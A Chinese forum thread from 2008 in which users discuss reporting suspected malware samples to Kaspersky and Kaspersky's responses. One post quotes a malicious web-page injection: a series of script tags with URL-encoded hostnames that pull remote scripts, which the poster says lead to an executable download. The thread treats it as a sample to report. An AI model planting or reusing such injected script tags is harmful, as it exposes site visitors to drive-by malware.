请支持并参与改进卡巴斯基分析员的分析能力工作(新)

Redevil

原帖由 zyl1984 于 2008-12-25 23:10 发表
说实在的卡巴应该在咱们这设立一个专区—————用来分析和上报病毒！！！

样本区就是用来干这事的
各大杀软的FANS都会上报给自己喜欢的杀软

sam.to

可是,卡巴的fans比其他的多

symantec比eset,国產的更少

saber123

难道我们先自己对可疑样本进行实机检测一遍，如果出现恶意行为则上报，如果没有任何不干净地方则不上报？

syfwxmh

不用，你把你认为可能为恶意代码的程序传上来即可，我和kato直接给他们经理重新分析

saber123

原帖由 syfwxmh 于 2008-12-26 16:59 发表
不用，你把你认为可能为恶意代码的程序传上来即可，我和kato直接给他们经理重新分析

那我还不如用IDA等工具实机先分析下,如果把握不大的再上传给卡巴

sam.to

今天又上报一个

sam.to

原帖由 wangjay1980 于 2008-12-25 21:29 发表


再给你个争议文件，应该被检测为病毒

Hello.

This file is already detected. Please update your bases.
Trojan-Downloader.Win32.Agent.axve

Redevil

KLAN-18866229
Trojan-Downloader.HTML.IFrame
是个网页文件
底部有代码
<script src=http://%61%76%65%32%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script>

卡巴认为没问题
我再次发送后，就没再给我回音
解出来其实就是那个ko.exe

sam.to

你有沒有再上报?

Redevil

原帖由 sam.to 于 2008-12-30 16:47 发表
你有沒有再上报?

我都上报3遍了
都再没理我
我刚才又发了一封
看他们回不回